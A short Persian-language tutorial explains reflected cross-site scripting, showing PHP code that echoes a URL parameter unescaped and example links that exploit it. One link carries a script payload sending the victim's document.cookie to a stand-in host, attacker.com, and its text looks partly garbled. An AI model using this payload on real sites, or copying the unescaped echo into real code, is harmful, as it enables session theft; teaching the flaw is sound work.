Cross Site Scripting
فرض كنيد در قسمتي از سايت شما ، قرار هست به كاربر پيغامي رو بر اساس وضعيتي كه داريم نمايش بديم.
كد نويسي انجام شده به اين صورت هست :
کد PHP:
<?php
If(isset($_GET['msg']))
Echo $_GET['msg'];
?>
در اين صورت پيغام هاي مختلف رو به راحتي ميتونيد براي كاربر نمايش بديد :
کد HTML:
File.php?msg=Wrong user/pass
File.php?msg=404 page not found
و لزوما هم متد GET نيست و ممكن هست براي مخفي كردن پيام د آدرس بار از ديد كاربر اين عمل رو با متد POST انجام بديد.
اشكال كار كجاست ؟
فرض كنيد اين لينك به كاربر شما ارائه بشه :
کد HTML:
File.php?msg= This site is hacked !
و يا :
کد HTML:
File.php?msg= <b> This site is hacked ! </b>
اما اشكال اصلي كار اينجا نيست ! درسته در اين صورت كاربر سايت شما با پيغام نامناسب روبرو ميشه اما اصل اين خطر مربوطه به مورد حمله قرار دادن كاربر شما و سرقت اطلاعات كاربر هست.
فرض كنيد اين لينك به كاربر شما ارائه بشه :
File.php?msg=<script>document.location = attacker.com: The Best Search Links on the Net' + document.cookie</script>
شايد متوجه مشكل شده باشيد !
بله در اين صورت كوكي ها كاربر به آدرس attacker.com/file.php ارسال ميشند.
البته اگر در كوكي ها اطلاعات حساسي نگه نداشته باشيم و با رعايت نكات ايمني سشن ها و كوكي ها رو بدرستي استفاده كرده باشيم مشكل خاصي پيش نمياد.اما در بسياري از برنامه ها كاربر به صرف داشتن كوكي ها صاحب حساب تلقي ميشه.
در قسمت بعد در رابطه با COOKIE ها و SESSION ها با مثال هاي عملي صحبت ميكنيم.